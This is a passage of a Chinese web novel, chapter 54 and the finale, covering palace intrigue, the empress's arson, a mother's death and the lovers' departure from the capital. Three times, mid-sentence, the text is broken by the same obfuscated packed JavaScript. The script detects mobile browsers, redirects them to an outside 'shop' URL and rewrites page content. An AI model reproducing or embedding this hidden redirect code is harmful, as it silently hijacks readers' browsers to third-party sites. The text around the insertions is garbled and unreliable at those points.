讲到最后他泫然欲泣:“我的本意是想杀了皇后,为母妃报仇,但皇后母家的权势太大,我无从下手。偶然得知青罗城温岫将军战死的真相,又想着堂兄对此事始终放不下,便想着借堂兄的手,揭露皇后的阴谋。” 姜暖看了一眼沈晏,不解地问:“你俩完全可以合作啊?” 沈慕朝将头低下去,声如蚊蚋:“当时李家权势滔天,我有点怕死。” 姜暖身子往后一仰,了然:“哦,借刀杀人。” 从沈慕朝穿女装在皇后手下讨生活这么多年安然无恙来看,他确实是比较隐忍和惜命的。但是将沈晏当枪使,确实有那么一点寒心。沈晏虽然平时不假辞色,但对他确实是真心相待的。 “若我不怀疑你,你便一直不打算告诉我了么?”说不心寒是假的,沈晏长睫微动,掩住了眸中的万千情绪。 “堂哥,对不住。”沈慕朝难掩愧色,“今日除了同你赔礼道歉,也是为了将功折罪。” 说罢,他拿出了一个木匣子,里头放着一本脉案。 “这是我无意间从皇后那里偷来的,当时她命守忠将此物销毁,守忠觉得兹事体大,便偷梁换柱,最后交给了我。” 沈晏将脉案翻开,心头微震。 这是当年她母亲生他时的脉案,这份脉案也是能证明他身份的一项铁证。但他早就跟母亲说过,他不愿意入宫当皇子,他只想当她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800601|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和父亲的儿子。 “这东西还有谁看过?” 沈慕朝摇摇头:“除了皇后和守忠,便只有今日我们三人了。” 又问:“堂兄你,不打算将此物交给父皇吗?” 沈晏看了看他,冷漠道:“我还没有做你哥哥的打算。” 随即,他摸出了一个火折子,毫不犹豫地将这脉案点燃。火光映照在他的瞳孔里,“这脉案一事,从今日起,你们便忘了吧。” 沈慕朝静静地看着那团火光,好一会儿才回过神来:“如此,也好。” 火光渐渐熄灭,那木匣子里只留下黑色的灰烬。 沈晏问:“守忠是你的什么人?” 沈慕朝敛眉:“他是我母妃的心上人。” 姜暖八卦地竖起了耳朵。 “他原本是一个剑客,早年被仇人追杀流落到一个小山村,被我母妃救了下来。后来他们两人便互生情愫,他为了以后能同我母亲安稳过日子,便离开村子去找仇家斩断恩怨。” “可惜,天不遂人愿。等他回来的时候,我的母亲因为家里穷苦,被她的父亲卖进了宫,做了一个小宫女。他听说后,便去皇宫寻我母亲,两人千辛万苦见了一面,母亲答应出宫后便与他成亲,他便在宫外寻了个营生安顿下来。” “后来……” 三个人沉默下来。 良久,沈慕朝才继续说:“我后来在皇宫里遇到他,才从他嘴里听到这些事。他决心要给母妃报仇,本来是不想让我搅扰进此事里,但我为人子,总归是不甘心的。所以便一直在寻找合适的机会下手。” “蛊毒也是出自他手么?”南疆的蛊毒一开始确实是由江湖草莽带进大昭国内的,守忠若是江湖侠客,那么七殿下手里能掌握蛊毒,确实也是说得通的。 沈慕朝点点头,他看了一眼姜暖:“我只是没想到,阿暖会是个变数。” 姜暖抱着胳膊,没好气道:“殿下也是心善,每月都送解药给我,让我不至于突然暴尸街头。” 沈慕朝小声哼哼:“我也没想到你早就将蛊毒解了。” 姜暖飞了他一个白眼。 “不过,今日我也有一个重要的事告知你。”他拍拍手,将梅娘唤出来。“你之前虽是我们暗中培养的死士,但如今你已是堂哥手下的人,身上蛊毒已解,便是自由之身。” 姜暖看着梅娘一脑袋问号,不知道这又是要唱哪出。 梅娘将手中刻着阿宝的牌子递给姜暖,解释道:“这牌子是你原本的名字,今日归还于你,你便是自由身了。此后不会被视为叛徒,被其他死士追杀。” 姜暖:“……” 那她还真是多谢了。 梅娘又说:“我知你失了记忆,但殿下还是吩咐我将你的身世来历告知你,以便你日后能找到你的家人。” 姜暖有些诧异地看了一眼沈慕朝,沈慕朝红着脸,倒有些不好意思起来。 “你的乳名是阿宝,你是在永州被捡到的。大概十三年前,永州洪水滔天,你与你的母亲走散了,被人捡走卖到了外地。我买下你的时候,你只记得自己叫阿宝,还有你母亲的闺名。” 有一种陌生的情愫突然涌现上心头,姜暖问:“我的母亲,她叫什么?” 梅娘:“晚娘。” 难以言说的酸涩感涌出她的眼眶,这一瞬间体内情绪的变化让她觉得非常陌生,但她一点也不排斥。 “啊,真是好巧。”她听见自己说。 54. 第 54 章 皇宫内,皇帝在书房来回踱步,一会儿坐下,一会儿站起来,双手不停地搓着,显得无比紧张。 万来祥跟在他身后,累的直喘气。 “皇上,要不你去坤宁宫外看一眼吧。” 皇帝想也没想就拒绝了:“不行不行,要是被昭昭发现了,她以后在地下也不愿意见我了。” 万来祥没辙了,这皇上老这么走来走去也不是办法。他眼珠子一转吩咐小太监,让小太监点上了安神香。他则端了一盏加了点宁神功效的甜品来,劝了皇上喝下。 林嬷嬷在坤宁宫外守了半天,也没见王妃出来,心想着这眼看太阳就要落山,再不走,宫门可就要关了。 她正要敲门催催王妃,后颈突然传来一阵钝痛,顿时眼前一黑不省人事了。 坤宁宫内,安王妃昏睡在地上,皇后将两坛桐油搬出来,一点一点地撒在屋内的各个角落,最后用烛火将所有易燃的织物点燃。 “烧吧,烧吧,烧得干干净净,一点都不要给沈博彦留!哈哈哈哈哈哈……” “君如明月照青山,我似流云绕翠峦。愿乘清风行万里,朝朝暮暮伴君颜。”皇后一边哼着词曲,一边在梳妆台前坐下。 她看着镜中的容颜,仿佛回到了豆蔻年华之时,墙外飞进来一个纸鸢,一个少年骑在墙头。日光打在他的眉眼,路过的婢女尖叫出声,少年惊慌失措竟从墙头坠落。 她将纸鸢藏起来,那少年第二日果然上府讨要,说是给妹妹做的纸鸢,试飞的时候不小心越过了贵府的墙头,遗落在了院中。 她叫婢女将纸鸢还给他,从那以后心里便悄悄住进了一个人。 后来他们又相遇,少年做了一首情诗赠予她,她红了脸,偷偷将这首诗绣在了荷包内里,日日佩戴。 皇帝在睡梦中惊醒,万来祥连滚带爬地跑进来,大喊:“皇上不好了,坤宁宫走水,王妃和皇后都被困在里面了!” 皇上倏然从圈椅中起身,案牍被撞了一下,上面摞着的奏折稀里哗啦落了一地。 “皇上你鞋还没穿呢!皇上!”万来祥急的满头大汗,提着龙靴跑在皇帝身后,肚子上的肥肉一步三颠。 消息传到七殿下府中的时候,坤宁宫的宫殿已经被烧了大半。 沈晏匆匆赶到的时候,他的母亲正躺在皇上的臂弯中不省人事,身上的衣服早已被火烧的破烂不堪,胳膊和大腿上都是水泡。 皇上将外衣罩在她身上,哆嗦着嘴唇大喊:“太医呢!太医呢!” “母亲!”沈晏下马飞奔而至。 紧跟在他身后的七殿下没有贸然上前,只问万来祥现下情况如何。 万来祥摇摇头,道:“王妃身边的林嬷嬷因为救主心切葬身火海,皇后娘娘也没能及时救出来。皇上虽冒死救出了安王妃,但眼下这情况怕是……” 姜暖被挡在皇宫外,刚刚那两个人跑得太快,她落后了一步被守卫拦下。这宫门她也不敢硬闯,只能在外头干着急。 王妃你可千万不能有事啊…… 太医们惴惴不安,跪伏在殿内,大气不敢出。 这安王妃肺中吸入了大量的尘烟,加上之前便有严重的咳疾,此时早已无力回天。他们只是太医,没有办法跟阎王爷抢人。 “你们给朕救活她!朕命令你们!” 院首俯地:“臣等无能,请赐臣等死罪。”众太医皆俯地高呼。 皇帝顿时面色苍白跌坐在椅子上。 屏风内,沈晏握着安王妃的手贴在自己的脸颊,他哀求道:“母亲,你别走,别抛下晏儿。” 安王妃的手指动了一下,嘴唇嗫嚅,似乎是要说什么。 沈晏大喜:“母亲,你醒了?” 皇帝听到动静,突然站起身来往床榻走,但在距离床榻还有五步远的位置又停住了。 安王妃艰难地睁开眼,只模模糊糊在床头看到一个身影。 “晏儿。” “母亲,晏儿在。” 安王妃抬手去摸沈晏的头,沈晏乖顺地将头低下。滚烫的手掌心落在他的发顶,轻轻地摩挲了两下。“母亲不能陪你了。” 眼泪从眼眶中奔涌而出,沈晏哽咽着,他摇头恳求道:“不要,母亲不要。” “你父亲来接我了。”安王妃将手伸向不远处站立着的那个人影,人影微动,她轻声呼唤道:“博谦哥哥……” 皇帝的身体霎时变得僵硬,他将迈出去的脚步收回来,还未浮现在脸上的笑意戛然而止,如坠云端。 你竟然真的爱上了我的哥哥。 你果真,不爱我了。 良久,皇帝转身离开,背影仿佛如高山一般垮塌了下去。 高高的屋檐外,干旱了许久的昭宁城迎来了第一场雨水。万来祥将臂弯的披风给皇帝披上,又从小太监手里拿了伞。 “皇上,皇后娘娘的尸体被挖出来了,您要去看一眼么?” 皇帝摇头,问:“走水的原因查清楚了吗?” “宋副统领在还未烧焦的木板上发现了桐油的痕迹,且已经查出这桐油是从前皇后宫里的一个三殿下身边的小太监带进来的。” “老三?” 万来祥:“这小太监是皇后安插在三殿下跟前的,应当是皇后娘娘的人。” 皇上做了个手势:“把这宫里苟活下来的老鼠都料理了吧。”李家和郭家留下的烂疮早就该挖干净了。 这场大雨断断续续下了一个月,昭宁城内到处都是黏腻的潮湿。 沈晏变得更加沉默寡言,姜暖这几日想方设法地逗他开心,但都事倍功半。她陪沈晏躲在王府内,每日只靠唐枳唐田和偶尔上门的宋怀轩了解昭宁城内的变化。 坤宁宫走水一事,虽对外宣称是意外,但他们都知道是皇后发疯纵火行凶。 宋怀轩道皇上下令将宫内上上下下都排查一遍,这段时间前朝后宫又是一次彻底的大清洗,李家和郭家的的人都被处理得干干净净。 皇后被废,藏入妃陵。 献王也受到了牵连,被贬为了庶人。献王妃不久后悬梁自尽,腹中已有两个月的身孕。献王得知受了打击便整日酗酒,两日前在西市的巷子里被恶犬咬死了。 “大理寺的人前去收的尸,谈大人还掏钱买了一个像样的棺材,将他好生安葬在了城郊。” 姜暖听完好一阵唏嘘,这不到两年时间,皇后不是皇后,太子不是太子,最终什么也没得到,都化为一抔黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16805474|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 土。 百年后,谁又能记得呢? 沈晏拉着姜暖的手,道:“等过了除夕,我们便离开吧。” 母亲闭眼之前说,昭宁城并不会给人带来幸福,希望他能走得远远的,带上自己心仪的姑娘去过逍遥自在的日子。 姜暖给了他一个结实的拥抱:“我早就想离开了,这地儿我待着就不自在。” 沈晏蹭着他的颈窝,明知故问:“那你想带着我么?” 姜暖搓着他的头发,说:“看你表现。” 宋怀轩咳嗽了两声:“你们是不是忘了这屋里还有其他人?” “看得开心吗?”姜暖挑眉。 宋怀轩大无语:“你都不知道害羞的么?” 姜暖说这有什么可害羞的,还忘不提及:“你与苏姑娘不是已经抱过了?”她可听唐田说,两人不久就要定亲了。 “什么叫抱过了……那是个意外!”宋怀轩脖子都红了,试图给姜暖解释清楚,那天不过是苏酥腿崴了,不小心倒在了他身上,他扶了一下而已。 姜暖:“不听不听,王八念经。” 沈晏难得笑出声,不过他倒也好奇,宋怀轩之前还信誓旦旦不娶亲,苏家姑娘追在他屁股后面跑了好久,他都没怎么搭理,不知怎么又松口了。 宋怀轩期期艾艾道:“就……突然发现她挺可爱的。”特别是她被青蛙吓得抱头乱窜,最后像个兔子似得蹦到了桃树上。 姜暖:“……”哥,你的真爱怕不是青蛙。 皇宫内,沈慕朝在和皇帝下棋。 “父皇,你又输了。” 皇帝精神不佳,将棋子一扔:“罢了,朕认输。” 万来祥将皇帝扶起走到案牍前,皇帝咳嗽连连,用了一碗凉茶压下去。 “朕的几个儿子里,只有你最像朕。” 沈慕朝大着胆子道:“父皇说得是面容么?可我觉得,堂兄更像父皇。” 他抬起眼与皇上对视,皇帝笑了两声,眼神幽深:“你同朕一样,是心狠之人。”借沈晏的力来撬动李家的根基,自己则躲在暗中韬光养晦,培植出自己的势力。“献王若有你的一半才智和狠心,也不至于落得今日的下场。” 沈慕朝讥笑:“他太过孝顺皇后,注定不能成为父皇眼中最完美的人选。” 皇帝终其一生都在试图摆脱皇后和李家的操控,若献王不能彻底摆脱皇后和李家的操控,这大昭日后也迟早会改姓李。 皇帝被说中了心声,他长叹了一口气,道:“你下去吧……” 少年离去的背影高大坚实,皇帝看着那不知道何时成长起来的少年人,心头顿时觉得暮气沉沉,他的身体已经大不如前了。他如今只是这样安静地坐着,便能感觉到自己的生命正在迅速地流失。 他这一生又拥有了什么呢?他忍不住想。 万人之上的权利,绵延万里的山河,无人之巅的寂寞,郁结于心的悔恨。 他悔吗?该悔吗?能悔吗? 不能。 从骑上郭府墙头的那一刻,他就不能后悔了。 他,没有资格后悔。 “万来祥。” “奴才在。” “拟旨。” 55. 大结局 承平三十五年腊月,大昭皇帝先后颁发了两道诏书。 “皇七子沈慕朝,天资英奇,聪哲明允。授尔以册宝,立为皇太子,正位东宫。当勤学修德,以副朕望。布告中外,咸使闻之。” “故安王沈博谦,恪慎持躬,忠勤奉国。兹者薨逝,念宗支之重,宜有承嗣。尔沈晏,乃安王世子,宗室之隽,早著英声。兹特允准,承袭父爵。授尔以册宝,封为安王,奉其宗祀。布告中外,咸使闻之。” 昭宁城内多日来的风言风语都随着这两道圣旨一起烟消云散,茶楼酒肆里的闲谈也都换几茬。有人好奇坤宁宫为何突发大火,安王妃为何与皇后死在了同一日;有人夸赞当今太子的仁德宽厚,还有他二十多年的卧薪尝胆,厚积薄发;也有人猜测太子妃选拔究竟花落谁家。 但这些不过是饭后茶余的闲谈罢了,百姓们更多地还是在忙活着年关的事。 沈晏递了辞呈,打算从此做个闲散王爷,去从前父亲母亲游玩的地方走走。皇上没有挽留,只让他常回来祭拜。 唐枳接替了镇恶司司使的位置,交接的事宜加上临近年关,各种积压的旧案还要清算,他这几日都直接住进了司里。而唐田偷偷去江湖闯荡了,说是此间事了,他要去当武林盟主。 孟曦听说前不久被许了人家,被关在了家中学女工和闺仪。不过后来听说留书一封离家出走了,说要去外面闯荡,做一个锄强扶弱的女侠。 宋怀轩和苏酥终于定下了亲事,日子挑的是来年秋天的好日子,苏酥最近都在家中忙着绣盖头,偶尔接宋怀轩下值。 至于宋令仪、徐瑶和程宝月三人,听说都进了太子妃候选人的名单。遴选一事由宫里位分最高的贤妃操办,早早地就安排了嬷嬷们去府中教导,待到来年开春,便要一同进宫参选。 姜暖挎着香火纸钱问沈晏贤妃会选谁当太子妃。 沈晏牵着她跨过泥泞的山路,道:“贤妃应该做不了这个主。” 姜暖心想也是,从前先皇后在的时候,后宫的妃子原本就没什么话语权,如今她虽死,由贤妃执掌后宫。但太子既不是她生养的也没有记在她的名下,最终人选还是得看太子的意思。 “不过之前也没听说太子有中意的女子。” 沈晏捏了捏她的手背,说:“之前他倒是问起过我,宋家女如何。” 姜暖脚步微滞,这倒是令她意外。 “太子与宋怀轩有龃龉,我还以为……” 沈晏回头看她:“皇室姻亲向来是重利不重情,何况他们二人原本就算不上什么深仇大恨。”而且宋家还有兵权在手,对于太子来说,也是一个比较好的选择。 两人言语间,便走到了温岫的衣冠冢。 衣冠冢在一个宽阔的高地上,背后是茂密的丛林,前方则是一览无余的内城。沈晏将墓碑前的一小块地清理干净,又在湿漉漉的泥地上铺上了一层厚实的枯叶。 姜暖摆好贡品,同沈晏跪在枯叶上将香蜡纸钱点燃。她不信鬼神之说,但此刻也诚恳地希望,这些东西能通过这一簇簇温暖的火苗传送到师父的手里。 “阿暖,你难过吗?”沈晏问。 姜暖摇摇头:“她曾告诉过我,如果她死了,我只能难过一下下。” “那你,怨过我吗?”他其实想问,姜暖是否恨过他。 热浪将姜暖的披风吹得鼓鼓囊囊,纸钱的灰烬打着旋儿地飞向高空。姜暖循着那灰烬飘向的地方看去,听说这是在飘向故去的人。 沈晏白皙的脸此刻带上了一点潮红,他与姜暖贴在一起,像一对正在拜堂的夫妻。 姜暖收回目光看他,沉吟道:“曾有过一点点吧。” 怨师父因他而死,也怨他的欺瞒,但也只是有那么一点点而已。 将篮子里的纸钱烧了一半后,两人磕完头起身。沈晏不知从哪里掏出来她丢失了很久的匕首,对着姜暖单膝跪地。 姜暖被吓了一跳,往后退了两步。 只听沈晏郑重道:“从前听将军说过,你们那边的人结婚之前,男方需要拿出一枚钻戒,单膝跪地询问女孩儿是否愿意嫁给自己。大昭没有钻戒,我只有这把匕首,不知阿暖可愿意嫁给我。” 姜暖:“……” 谁家好人在上坟的时候求婚啊。 而且这匕首不是早就送给她了么? 她夺了匕首转身就走,“东西我先收下了。”另一侧的刀鞘上竟然被镶嵌上了七颗红色的宝石,像北斗七星的排列。 审美还挺好,就是碍事儿了点。 沈晏扭头看了看墓碑,丈二和尚摸不着头脑。 他追上去:“你到底愿不愿意啊?” 姜暖红脸捂耳朵:“你啰嗦了。” 两人又携手去了无名居,温容与在得知两人年后便要离开昭宁城,大方将煤球生下的小黑崽儿送给她,在路上做个伴儿。 姜暖因为怕被自己半路给养死了,便拒绝了。 离开无名居后,姜暖又到晚娘的坟前祭拜。 她将贡品摆上,把篮子里剩下的纸钱烧干净,又在坟前扣了三个响头,算是替原主尽孝。 “我无意占用了你女儿的身体,我对此感到万分抱歉。你虽不是我亲妈,但我也想厚着脸皮喊你一声娘亲。” 姜暖起身将墓碑上的一片落叶拂走,道:“娘亲放心,我会好好善待这副躯体,希望你们母女二人已在地下团聚。” 祭拜完毕,两人打马回城。 沈晏问她为何不去谈家相认,这样,也算是在这里有了一个家。 姜暖却道:“既然无法告知他们实情,不如什么也不做,这样对大家都好。”善意的谎言虽好,但她却做不到若无其事占用阿宝的身体欺骗他们。 她的身体虽是阿宝的,但是她还是姜暖,喜欢自由自在的姜暖。 沈晏点头,觉得她说得不无道理。 除夕将近,各家有各家的事要忙。但安王府似乎没什么喜庆之色,因为老安王妃故去没多久,所以今年的除夕府上并未张灯结彩。大门也用黄纸贴了素联,整个王府春节期间闭门谢客。 康伯眼睛红红的,似乎还没有从老安王妃故去的悲痛中抽身。但是这几日又见着王爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16810469|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和姜姑娘出双入对,心里又不由地有些欣慰。 等王爷孝期结束,想必这安王府就该有喜事了吧。 “老王爷,老王妃您二老在天上可要把这儿媳妇盯紧了,王爷岁数也不小了,找个情投意合的可不容易。” 可还没等他高兴几天,就听说姜姑娘离开昭宁城。 老管家垂死病中惊坐起,拄着拐杖健步如飞地去了琴瑟院。 “姜姑娘你怎么好端端地要走啊?” 姜暖:“世界这么大,我想去看看。” 康伯急了:“那我们王爷怎么办?你这是不要他了吗?” “额……” 沈晏突然出现:“康伯,我跟她一起走。” “……”康伯:“那你们还回来吗?” 姜暖看着康伯明显垮下去的肩膀,安慰道:“要的,要的。我们就是出去玩玩。” 沈晏也在一旁解释道:“只是去父亲母亲从前游玩的地方看看,看完了,也就回来了。” 康伯还是有些放心不下,他将沈晏拉到一旁,叮嘱道:“一定要记得回来成亲,可不能耽搁了。” 沈晏皱了皱眉头,犹疑道:“我还不知道她愿不愿意……” 康伯嫌弃地看了他一眼,语重心长:“孝期三年,王爷要努力呀。” 沈晏:“……” “你们嘀嘀咕咕啥呢?” “无事无事。”康伯拄着拐杖走了。 姜暖疑惑地看向沈晏,沈晏不自然地咳了两声,说:“康伯叮嘱我们路上小心。” 临走时,宋家兄妹特地来相送。 姜暖把宋令仪拉到一旁,将手里的玉佩交给她。 宋令仪大为失色,这不是祖母送给姜暖姐的信物吗?她疑惑地看着姜暖。 姜暖拉着她的手看了一眼沈晏,说:“若日后,沈晏有难,宋家可否出面帮他一次?”她知道这事有点为难,但她也只能赌一把了。 但愿太子念及旧情,将来不会起了赶尽杀绝的心思。 宋令仪虽不知姜暖为何有此请求,但她还是自作主张接下了这枚玉佩。“姜姐姐放心,宋家定护王爷周全。” 四人在正南门告别,宋令仪目送姜暖远去,不舍之情溢于言表。 “姜姐姐可要常回来看我们呀。” 姜暖朝她挥手:“一定。” 晨曦在天边露出了一点裙边,一人一马朝着那宽阔的天边奔去,身后是越来越小的昭宁城,身前是一望无际的旷野。 姜暖深吸了一口自由的空气,心情倍儿好。 “沈晏,你不是总问我同没同意吗?” 沈晏不由地屏息凝神,手下意识地握紧了缰绳。 姜暖两腿一夹马腹,一下蹿出去老远。她大喊:“你追上我,我就同意。” 金光刺破天际,洋洋洒洒地倾泄出来,苍茫大地被裹上一层金灿灿的薄雾。一黑一白两匹骏马在官道上飞驰,如同春日里上下翻飞的蝴蝶。它们一路缠绵着,飞过了高山,跃过了湖面,向着百花盛开的地方而去。 正文至此,完结。